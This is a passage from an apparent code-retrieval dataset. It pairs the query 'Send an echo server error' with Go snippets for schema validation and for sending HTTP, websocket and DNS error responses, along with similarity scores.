nil\\n\\t}\\n\\n\\tinputSchema := isp.(map[string]interface{})\\n\\n\\t// For each property in the input schema\\n\\tfor pk, pv := range inputSchema {\\n\\t\\t// Get the property data type from the schema\\n\\t\\tdt, err := schema.GetPropertyDataType(class, pk)\\n\\n\\t\\t// Return the error, in this case that the property is not found\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t// Check whether the datatypes are correct\\n\\t\\tif *dt == schema.DataTypeCRef {\\n\\t\\t\\t// Cast it to a usable variable\\n\\t\\t\\tpvcr := pv.(map[string]interface{})\\n\\n\\t\\t\\t// Return different types of errors for cref input\\n\\t\\t\\tif len(pvcr) != 3 {\\n\\t\\t\\t\\t// Give an error if the cref is not filled with correct number of properties\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. Check your input schema\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t)\\n\\t\\t\\t} else if _, ok := pvcr[\\\"$cref\\\"]; !ok {\\n\\t\\t\\t\\t// Give an error if the cref is not filled with correct properties ($cref)\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. '$cref' is missing, check your input schema\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t)\\n\\t\\t\\t} else if _, ok := pvcr[\\\"locationUrl\\\"]; !ok {\\n\\t\\t\\t\\t// Give an error if the cref is not filled with correct properties (locationUrl)\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. 'locationUrl' is missing, check your input schema\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t)\\n\\t\\t\\t} else if _, ok := pvcr[\\\"type\\\"]; !ok {\\n\\t\\t\\t\\t// Give an error if the cref is not filled with correct properties (type)\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. 'type' is missing, check your input schema\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Return error if type is not right, when it is not one of the 3 possible types\\n\\t\\t\\trefType := pvcr[\\\"type\\\"].(string)\\n\\t\\t\\tif !validateRefType(refType) {\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires one of the following values in 'type': '%s', '%s' or '%s'\\\",\\n\\t\\t\\t\\t\\tclass.Class, pk,\\n\\t\\t\\t\\t\\tconnutils.RefTypeAction,\\n\\t\\t\\t\\t\\tconnutils.RefTypeThing,\\n\\t\\t\\t\\t\\tconnutils.RefTypeKey,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// TODO: https://github.com/creativesoftwarefdn/weaviate/issues/237 Validate using / existing locationURL?\\n\\t\\t\\t// Validate whether reference exists based on given Type\\n\\t\\t\\tcrefu := strfmt.UUID(pvcr[\\\"$cref\\\"].(string))\\n\\t\\t\\tif refType == connutils.RefTypeAction {\\n\\t\\t\\t\\tar := &models.ActionGetResponse{}\\n\\t\\t\\t\\tare := dbConnector.GetAction(crefu, ar)\\n\\t\\t\\t\\tif are != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"error finding the 'cref' to an Action in the database: %s\\\", are)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else if refType == connutils.RefTypeKey {\\n\\t\\t\\t\\tkr := &models.KeyGetResponse{}\\n\\t\\t\\t\\tkre := dbConnector.GetKey(crefu, kr)\\n\\t\\t\\t\\tif kre != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"error finding the 'cref' to a Key in the database: %s\\\", kre)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else if refType == connutils.RefTypeThing {\\n\\t\\t\\t\\ttr := &models.ThingGetResponse{}\\n\\t\\t\\t\\ttre := dbConnector.GetThing(crefu, tr)\\n\\t\\t\\t\\tif tre != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"error finding the 'cref' to a Thing in the database: %s\\\", tre)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else if *dt == schema.DataTypeString {\\n\\t\\t\\t// Return error when the input can not be casted to a string\\n\\t\\t\\tif _, ok := pv.(string); !ok {\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires a string. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\t\\t} else if *dt == schema.DataTypeInt {\\n\\t\\t\\t// Return error when the input can not be casted to json.Number\\n\\t\\t\\tif _, ok := pv.(json.Number); !ok {\\n\\t\\t\\t\\t// If value is not a json.Number, it could be an int, which is fine\\n\\t\\t\\t\\tif _, ok := pv.(int64); !ok {\\n\\t\\t\\t\\t\\t// If value is not a json.Number, it could be an int, which is fine when the float does not contain a decimal\\n\\t\\t\\t\\t\\tif vFloat, ok := pv.(float64); ok {\\n\\t\\t\\t\\t\\t\\t// Check whether the float is containing a decimal\\n\\t\\t\\t\\t\\t\\tif vFloat != float64(int64(vFloat)) {\\n\\t\\t\\t\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires an integer. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t// If it is not a float, it is cerntainly not a integer, return the error\\n\\t\\t\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires an integer. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else if _, err := pv.(json.Number).Int64(); err != nil {\\n\\t\\t\\t\\t// Return error when the input can not be converted to an int\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires an integer, the JSON number could not be converted to an int. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\n\\t\\t} else if *dt == schema.DataTypeNumber {\\n\\t\\t\\t// Return error when the input can not be casted to json.Number\\n\\t\\t\\tif _, ok := pv.(json.Number); !ok {\\n\\t\\t\\t\\tif _, ok := pv.(float64); !ok {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires a float. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else if _, err := pv.(json.Number).Float64(); err != nil {\\n\\t\\t\\t\\t// Return error when the input can not be converted to a float\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires a float, the JSON number could not be converted to a float. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\t\\t} else if *dt == schema.DataTypeBoolean {\\n\\t\\t\\t// Return error when the input can not be casted to a boolean\\n\\t\\t\\tif _, ok := pv.(bool); !ok {\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires a bool. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\t\\t} else if *dt == schema.DataTypeDate {\\n\\t\\t\\t// Return error when the input can not be casted to a string\\n\\t\\t\\tif _, ok := pv.(string); !ok {\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires a string with a RFC3339 formatted date. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Parse the time as this has to be correct\\n\\t\\t\\t_, err := time.Parse(time.RFC3339, pv.(string))\\n\\n\\t\\t\\t// Return if there is an error while parsing\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\n\\t\\t\\t\\t\\t\\\"class '%s' with property '%s' requires a string with a RFC3339 formatted date. The given value is '%v'\\\",\\n\\t\\t\\t\\t\\tclass.Class,\\n\\t\\t\\t\\t\\tpk,\\n\\t\\t\\t\\t\\tpv,\\n\\t\\t\\t\\t)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *CreateDocV1Response) Validate() error {\\n\\tif m == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// no validation rules for Id\\n\\n\\treturn nil\\n}\",\n \"func SchemaHas(s *apiextensionsv1.JSONSchemaProps, fldPath, simpleLocation *field.Path, pred func(s *apiextensionsv1.JSONSchemaProps, fldPath, simpleLocation *field.Path) bool) bool {\\n\\tif s == nil {\\n\\t\\treturn false\\n\\t}\\n\\n\\tif pred(s, fldPath, simpleLocation) {\\n\\t\\treturn true\\n\\t}\\n\\n\\tif s.Items != nil {\\n\\t\\tif s.Items != nil && schemaHasRecurse(s.Items.Schema, fldPath.Child(\\\"items\\\"), simpleLocation.Key(\\\"*\\\"), pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t\\tfor i := range s.Items.JSONSchemas {\\n\\t\\t\\tif schemaHasRecurse(&s.Items.JSONSchemas[i], fldPath.Child(\\\"items\\\", \\\"jsonSchemas\\\").Index(i), simpleLocation.Index(i), pred) {\\n\\t\\t\\t\\treturn true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tfor i := range s.AllOf {\\n\\t\\tif schemaHasRecurse(&s.AllOf[i], fldPath.Child(\\\"allOf\\\").Index(i), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tfor i := range s.AnyOf {\\n\\t\\tif schemaHasRecurse(&s.AnyOf[i], fldPath.Child(\\\"anyOf\\\").Index(i), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tfor i := range s.OneOf {\\n\\t\\tif schemaHasRecurse(&s.OneOf[i], fldPath.Child(\\\"oneOf\\\").Index(i), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tif schemaHasRecurse(s.Not, fldPath.Child(\\\"not\\\"), simpleLocation, pred) {\\n\\t\\treturn true\\n\\t}\\n\\tfor propertyName, s := range s.Properties {\\n\\t\\tif schemaHasRecurse(&s, fldPath.Child(\\\"properties\\\").Key(propertyName), simpleLocation.Child(propertyName), pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tif s.AdditionalProperties != nil {\\n\\t\\tif schemaHasRecurse(s.AdditionalProperties.Schema, fldPath.Child(\\\"additionalProperties\\\", \\\"schema\\\"), simpleLocation.Key(\\\"*\\\"), pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tfor patternName, s := range s.PatternProperties {\\n\\t\\tif schemaHasRecurse(&s, fldPath.Child(\\\"allOf\\\").Key(patternName), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tif s.AdditionalItems != nil {\\n\\t\\tif schemaHasRecurse(s.AdditionalItems.Schema, fldPath.Child(\\\"additionalItems\\\", \\\"schema\\\"), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tfor _, s := range s.Definitions {\\n\\t\\tif schemaHasRecurse(&s, fldPath.Child(\\\"definitions\\\"), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\tfor dependencyName, d := range s.Dependencies {\\n\\t\\tif schemaHasRecurse(d.Schema, fldPath.Child(\\\"dependencies\\\").Key(dependencyName).Child(\\\"schema\\\"), simpleLocation, pred) {\\n\\t\\t\\treturn true\\n\\t\\t}\\n\\t}\\n\\n\\treturn false\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6459454","0.6332627","0.6081228","0.592657","0.57522005","0.57342845","0.5728635","0.5725489","0.5674452","0.55459696","0.55457294","0.55271864","0.5482213","0.5386269","0.5370689","0.5360291","0.53530866","0.52772063","0.5204154","0.5199617","0.51944125","0.5188736","0.5187472","0.5182038","0.5161691","0.5147073","0.5131327","0.5126476","0.5121615","0.5119838","0.51073784","0.5104165","0.5095328","0.50698155","0.5054321","0.5053442","0.5049205","0.5037525","0.5017541","0.50145257","0.50046796","0.50000936","0.49928686","0.49843806","0.49709433","0.49690515","0.49441978","0.4911918","0.49109676","0.49099654","0.49099654","0.48963082","0.4895156","0.48903793","0.48882684","0.48871306","0.48863423","0.4884199","0.4877354","0.4876974","0.4876065","0.48734128","0.4866403","0.48661566","0.48622704","0.48605072","0.48563448","0.484235","0.48341063","0.4829868","0.4828234","0.48263374","0.48250508","0.4822908","0.48209253","0.48180577","0.48173657","0.48123735","0.4810213","0.48068458","0.4805805","0.47979563","0.4788355","0.47858545","0.47847188","0.47797093","0.4779343","0.47782728","0.47733852","0.47692913","0.4764994","0.47560716","0.4745304","0.4741429","0.47392473","0.47365177","0.47348213","0.4731147","0.47297058","0.47271252"],"string":"[\n \"0.6459454\",\n \"0.6332627\",\n \"0.6081228\",\n \"0.592657\",\n \"0.57522005\",\n \"0.57342845\",\n \"0.5728635\",\n \"0.5725489\",\n \"0.5674452\",\n \"0.55459696\",\n \"0.55457294\",\n \"0.55271864\",\n \"0.5482213\",\n \"0.5386269\",\n \"0.5370689\",\n \"0.5360291\",\n \"0.53530866\",\n \"0.52772063\",\n \"0.5204154\",\n \"0.5199617\",\n \"0.51944125\",\n \"0.5188736\",\n \"0.5187472\",\n \"0.5182038\",\n \"0.5161691\",\n \"0.5147073\",\n \"0.5131327\",\n \"0.5126476\",\n \"0.5121615\",\n \"0.5119838\",\n \"0.51073784\",\n \"0.5104165\",\n \"0.5095328\",\n \"0.50698155\",\n \"0.5054321\",\n \"0.5053442\",\n \"0.5049205\",\n \"0.5037525\",\n \"0.5017541\",\n \"0.50145257\",\n \"0.50046796\",\n \"0.50000936\",\n \"0.49928686\",\n \"0.49843806\",\n \"0.49709433\",\n \"0.49690515\",\n \"0.49441978\",\n \"0.4911918\",\n \"0.49109676\",\n \"0.49099654\",\n \"0.49099654\",\n \"0.48963082\",\n \"0.4895156\",\n \"0.48903793\",\n \"0.48882684\",\n \"0.48871306\",\n \"0.48863423\",\n \"0.4884199\",\n \"0.4877354\",\n \"0.4876974\",\n \"0.4876065\",\n \"0.48734128\",\n \"0.4866403\",\n \"0.48661566\",\n \"0.48622704\",\n \"0.48605072\",\n \"0.48563448\",\n \"0.484235\",\n \"0.48341063\",\n \"0.4829868\",\n \"0.4828234\",\n \"0.48263374\",\n \"0.48250508\",\n \"0.4822908\",\n \"0.48209253\",\n \"0.48180577\",\n \"0.48173657\",\n \"0.48123735\",\n \"0.4810213\",\n \"0.48068458\",\n \"0.4805805\",\n \"0.47979563\",\n \"0.4788355\",\n \"0.47858545\",\n \"0.47847188\",\n \"0.47797093\",\n \"0.4779343\",\n \"0.47782728\",\n \"0.47733852\",\n \"0.47692913\",\n \"0.4764994\",\n \"0.47560716\",\n \"0.4745304\",\n \"0.4741429\",\n \"0.47392473\",\n \"0.47365177\",\n \"0.47348213\",\n \"0.4731147\",\n \"0.47297058\",\n \"0.47271252\"\n]"},"document_score":{"kind":"string","value":"0.7363169"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106152,"cells":{"query":{"kind":"string","value":"Send an echo server error"},"document":{"kind":"string","value":"func sendApiError(ctx echo.Context, code int, message string) error {\n\tapiErr := Error{\n\t\tCode: int32(code),\n\t\tMessage: message,\n\t}\n\terr := ctx.JSON(code, apiErr)\n\treturn err\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func errorResponse(conn net.Conn, response string) {\n\tconn.Write(append(data.PackString(\"ERROR\"), data.PackString(response)...))\n}","func printError(w http.ResponseWriter, msg string, err error) {\n\tlog.Println(\"ERROR:\", err)\n\tlog.Println(\"Sending to client:\", msg)\n\tfmt.Fprintf(w, msg+\"\\n\")\n}","func sendHttpErr(w http.ResponseWriter, status int) {\n\thttp.Error(w, http.StatusText(status), status)\n}","func (s *Service) sendError(rsp http.ResponseWriter, req *Request, err error) {\n var m string\n var r int\n var c error\n var h map[string]string\n \n switch v := err.(type) {\n case *Error:\n r = v.Status\n h = v.Headers\n c = v.Cause\n m = fmt.Sprintf(\"%s: [%v] %v\", s.name, req.Id, c)\n if d := formatDetail(c); d != \"\" {\n m += \"\\n\"+ d\n }\n default:\n r = http.StatusInternalServerError\n c = basicError{http.StatusInternalServerError, err.Error()}\n m = fmt.Sprintf(\"%s: [%v] %v\", s.name, req.Id, err)\n }\n \n // propagate non-success, non-client errors; just log others\n if r < 200 || r >= 500 {\n alt.Error(m, nil, nil)\n }else{\n alt.Debug(m)\n }\n if req.Accepts(\"text/html\") {\n s.sendEntity(rsp, req, r, h, htmlError(r, h, c))\n }else{\n s.sendEntity(rsp, req, r, h, c)\n }\n}","func serverError(w http.ResponseWriter, err error) {\n\tlog.Printf(\"error: %s\\n\", err)\n\thttp.Error(w, fmt.Sprintf(\"%s\", err), http.StatusInternalServerError)\n}","func Error(w http.ResponseWriter, code int, msg string, data interface{}) error {\n\tif Log {\n\t\tlog.Printf(\"Error %v: %v\", code, msg)\n\t}\n\n\treturn sendResponse(w, Resp{ERROR, code, msg, data, ErrorHttpCode})\n}","func sendErrorResponse(func_name string, w http.ResponseWriter, http_code int, resp_body string, log_message string) {\n\tutils.Log(fmt.Sprintf(\"%s: %s\", func_name, log_message))\n\tw.WriteHeader(http_code)\n\tw.Write([]byte(resp_body))\n\treturn\n}","func SendError(conn net.Conn,name string, msg string){\n\n\tdataMap:=make(map[string]interface{})\n\tdataMap[\"type\"]=\"error\"\n\tdataMap[\"name\"]=name\n\tdataMap[\"msg\"]=msg\n\tSendJSONData(conn,dataMap)\n\n\n}","func TestSendError(t *testing.T) {\n\terr := SendError(\"Send Error\", \"https://status.btfs.io\", \"my peer id\", \"my HValue\")\n\tif err != nil {\n\t\tt.Errorf(\"Send error message to status server failed, reason: %v\", err)\n\t} else {\n\t\tt.Log(\"Send error message to status server successfully!\")\n\t}\n}","func sendErrorMessage(s *dgo.Session, c string, m string) {\n\ts.ChannelMessageSend(c, m)\n}","func ClientError(w http.ResponseWriter, status int) {\n\tapp.InfoLog.Println(\"Client error with status of\", status)\n\thttp.Error(w, http.StatusText(status), status)\n}","func (m *manager) sendErr(w http.ResponseWriter, errorCode int64, errorData interface{}) {\n\tw.WriteHeader(http.StatusInternalServerError)\n\tenc := json.NewEncoder(w)\n\tenc.Encode(map[string]interface{}{\n\t\t\"ok\": false,\n\t\t\"error_code\": errorCode,\n\t\t\"error_data\": errorData,\n\t})\n}","func Error(ctx *fiber.Ctx, msg string, e error, status int) error {\n\treturn response(ctx, status, fiber.Map{\n\t\t\"success\": false,\n\t\t\"message\": msg,\n\t\t\"data\": e,\n\t})\n}","func (k Keisatsu) Error(msg string) {\n\tmessage := Message{\n\t\tAppName: k.AppName,\n\t\tLevel: ErrorLevel,\n\t\tMessage: msg,\n\t}\n\tk.sendWebhook(message)\n}","func sendErrorMessage(w io.Writer, err error) {\n\tif err == nil {\n\t\tpanic(errors.Wrap(err, \"Cannot send error message if error is nil\"))\n\t}\n\tfmt.Printf(\"ERROR: %+v\\n\", err)\n\twriteJSON(w, map[string]string{\n\t\t\"status\": \"error\",\n\t\t\"message\": err.Error(),\n\t})\n}","func writeErrorResponse(w http.ResponseWriter, status int, body string) {\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.WriteHeader(status)\n\n\t_, _ = fmt.Fprintf(os.Stderr, \"error: %s\", body)\n\tif _, err := w.Write([]byte(body)); err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"cannot write to stream: %v\\n\", err)\n\t\treturn\n\t}\n}","func (app *application) clientError(writer http.ResponseWriter, status int) {\n\thttp.Error(writer, http.StatusText(status), status)\n}","func (app *application) clientError(w http.ResponseWriter, status int) {\n\thttp.Error(w, http.StatusText(status), status)\n}","func SendError(w http.ResponseWriter, status int, errMsg string) {\n header(w, status)\n data := ErrJson {\n Status: status,\n Error: errMsg,\n }\n json.NewEncoder(w).Encode(data)\n}","func (h *Handler) error(w http.ResponseWriter, error string, code int) {\n\t// TODO: Return error as JSON.\n\thttp.Error(w, error, code)\n}","func wsError(conn *websocket.Conn, serverMsg string, clientMsg string) {\n\tlog.Error(serverMsg)\n\tpayload := Message{\n\t\tError: clientMsg,\n\t}\n\tresJSON, err := json.Marshal(payload)\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"Failed to marshal result : %v\", err)\n\t\tlog.Error(msg)\n\t\treturn\n\t}\n\terr = conn.WriteMessage(websocket.TextMessage, resJSON)\n\tif err != nil {\n\t\tlog.Error(\"Couldn't write to conn: %v\", err)\n\t}\n\treturn\n}","func (app *application) serverError(res http.ResponseWriter, err error) {\n\ttrace := fmt.Sprintf(\"%s\\n%s\", err.Error(), debug.Stack())\n\tapp.errLog.Output(2, trace)\n\tapp.errLog.Println(trace)\n\n\thttp.Error(res, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n}","func (a errorServer) ServeHTTP(w http.ResponseWriter, _ *http.Request) {\n\thttp.Error(w, \"random error\", http.StatusInternalServerError)\n}","func replyErr(ctx *router.Context, err error) {\n\ts, _ := status.FromError(err)\n\tmessage := s.Message()\n\tif message != \"\" {\n\t\t// Convert the first rune to upper case.\n\t\tr, n := utf8.DecodeRuneInString(message)\n\t\tmessage = string(unicode.ToUpper(r)) + message[n:]\n\t} else {\n\t\tmessage = \"Unspecified error\" // this should not really happen\n\t}\n\n\tctx.Writer.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tctx.Writer.WriteHeader(grpcutil.CodeStatus(s.Code()))\n\ttemplates.MustRender(ctx.Context, ctx.Writer, \"pages/error.html\", map[string]any{\n\t\t\"Message\": message,\n\t})\n}","func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {\n\tstate := request.Request{W: w, Req: r}\n\n\tanswer := new(dns.Msg)\n\tanswer.SetRcode(r, rc)\n\tstate.SizeAndDo(answer)\n\n\tw.WriteMsg(answer)\n}","func sendJsonError(response http.ResponseWriter, status int, message string) {\n\toutput := map[string]string{\n\t\t\"status\": \"error\",\n\t\t\"message\": message,\n\t}\n\n\tjsonBytes, err := json.Marshal(output)\n\tif err != nil {\n\t\tlog.Errorf(\"Error encoding json error response: %s\", err.Error())\n\t\thttp.Error(response, \"Interval server error\", 500)\n\t\treturn\n\t}\n\n\tresponse.Header().Set(\"Content-Type\", \"application/json\")\n\tresponse.WriteHeader(status)\n\t_, err = response.Write(jsonBytes)\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to write JSON error: %s\", err)\n\t}\n}","func writeError(w http.ResponseWriter, status int, err error) {\n\twrite(w, status, Error{Err: err.Error()})\n}","func SendResponseErr(w http.ResponseWriter, httpStatus int, resp Response) {\n\tif resp.Code == \"0\" {\n\t\tresp.Code = \"-1\"\n\t}\n\n\tjson, _ := json.Marshal(resp)\n\n\tw.WriteHeader(httpStatus)\n\tw.Write(json)\n}","func eprint(err error) {\n\tfmt.Println(DHT_PREFIX, err.Error())\n}","func sendAndExitIfError(err error, response *plugins.Response) {\n\tif err != nil {\n\t\tresponse.Errors = append(response.Errors, err.Error())\n\t\tsendAndExit(response)\n\t}\n}","func respondWithError(w http.ResponseWriter, message string) {\n\tw.WriteHeader(http.StatusBadRequest)\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Write([]byte(message))\n}","func ShowErr() {\r\n t, _ := template.New(\"test\").Parse(tpl)\r\n // data := map[string]string{\r\n // \"AppError\": fmt.Sprintf(\"%s:%v\", BConfig.AppName, err),\r\n // \"RequestMethod\": ctx.Input.Method(),\r\n // \"RequestURL\": ctx.Input.URI(),\r\n // \"RemoteAddr\": ctx.Input.IP(),\r\n // \"Stack\": stack,\r\n // \"BeegoVersion\": VERSION,\r\n // \"GoVersion\": runtime.Version(),\r\n // }\r\n //ctx.ResponseWriter.WriteHeader(500)\r\n t.Execute(Requests.W, nil)\r\n}","func (c *CmdHandler) sendEmbedError(chanID, body, title string) (*discordgo.Message, error) {\n\temb := &discordgo.MessageEmbed{\n\t\tColor: cErrorColor,\n\t\tDescription: body,\n\t\tTitle: title,\n\t}\n\treturn c.discordSession.ChannelMessageSendEmbed(chanID, emb)\n}","func (c *HawkularClientError) Error() string {\n\treturn fmt.Sprintf(\"Hawkular returned status code %d, error message: %s\", c.Code, c.msg)\n}","func send_response() {\r\n\r\n\tfmt.Printf(\"\\n\\n\")\r\n\tfmt.Printf(\"%d\\n\",status_info.status_code)\r\n\tfmt.Printf(\"%s\\n\",status_info.error_message)\r\n\tfmt.Printf(\"%s\\n\",status_info.error_details)\r\n\tfmt.Printf(\"\\n\")\r\n\tif response_data != \"\" {\r\n\t\tfmt.Printf(\"%s\",response_data)\r\n\t}\r\n\tfmt.Printf(\"\")\r\n\tos.Exit(0)\r\n}","func ServerErr(w http.ResponseWriter) {\n\tif p := recover(); p != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(\"500 - something oops happend on server, sorry for that\"))\n\t}\n}","func (app *application) clientError(res http.ResponseWriter, statusCode int) {\n\thttp.Error(res, http.StatusText(statusCode), statusCode)\n}","func ExampleError() {\n\tError(\n\t\t\"Can't send data to remote server.\",\n\t\t`{*}Lorem ipsum{!} dolor sit amet, {r*}consectetur{!} adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\nUt enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor\nin reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.`,\n\t\tWRAP, BOTTOM_LINE,\n\t)\n}","func (app *application) errorResponse(w http.ResponseWriter, r *http.Request, status int, message interface{}) {\n\tresp := clientResponse{\"error\": message}\n\t// Write the response using the helper method.\n\terr := app.writeJSON(w, status, resp)\n\tif err != nil {\n\t\tapp.logError(r, err)\n\t\tw.WriteHeader(500)\n\t}\n}","func (w *Watcher) sendError(err error) bool {\n\tselect {\n\tcase w.Errors <- err:\n\t\treturn true\n\tcase <-w.quit:\n\t}\n\treturn false\n}","func (c *Operation) writeErrorResponse(rw http.ResponseWriter, status int, msg string) {\n\tlogger.Errorf(msg)\n\n\trw.WriteHeader(status)\n\n\tif _, err := rw.Write([]byte(msg)); err != nil {\n\t\tlogger.Errorf(\"Unable to send error message, %s\", err)\n\t}\n}","func (c *Conn) TempfailMsg(format string, elems ...interface{}) {\n\tswitch c.curcmd {\n\tcase HELO, EHLO:\n\t\tc.replyMulti(421, format, elems...)\n\tcase AUTH:\n\t\tc.authDone(false)\n\t\tc.replyMulti(454, format, elems...)\n\tcase MAILFROM, RCPTTO, DATA:\n\t\tc.replyMulti(450, format, elems...)\n\t}\n\tc.replied = true\n}","func (w *filePoller) sendErr(e error, chClose <-chan struct{}) error {\n\tselect {\n\tcase w.errors <- e:\n\tcase <-chClose:\n\t\treturn fmt.Errorf(\"closed\")\n\t}\n\treturn nil\n}","func writeErrorResponse(w http.ResponseWriter, errorMsg string) {\n\tresponse := Response{false, []common.Bike{}, errorMsg}\n\twriteResponse(w, response)\n}","func respondError(writer http.ResponseWriter, err string) {\n\twriter.WriteHeader(http.StatusInternalServerError)\n\twriter.Header().Set(\"Content-Type\", \"application/json\")\n\tio.WriteString(writer, fmt.Sprintf(`{ \"status\": \"ERROR\", \"problem\": \"%s\"}`, err))\n}","func errorHelper(err error, transaction *statistics.Transaction, response configs.WsMessage) {\n\tuiLog.Error(err)\n\te := err.Error()\n\tresponse.Error = 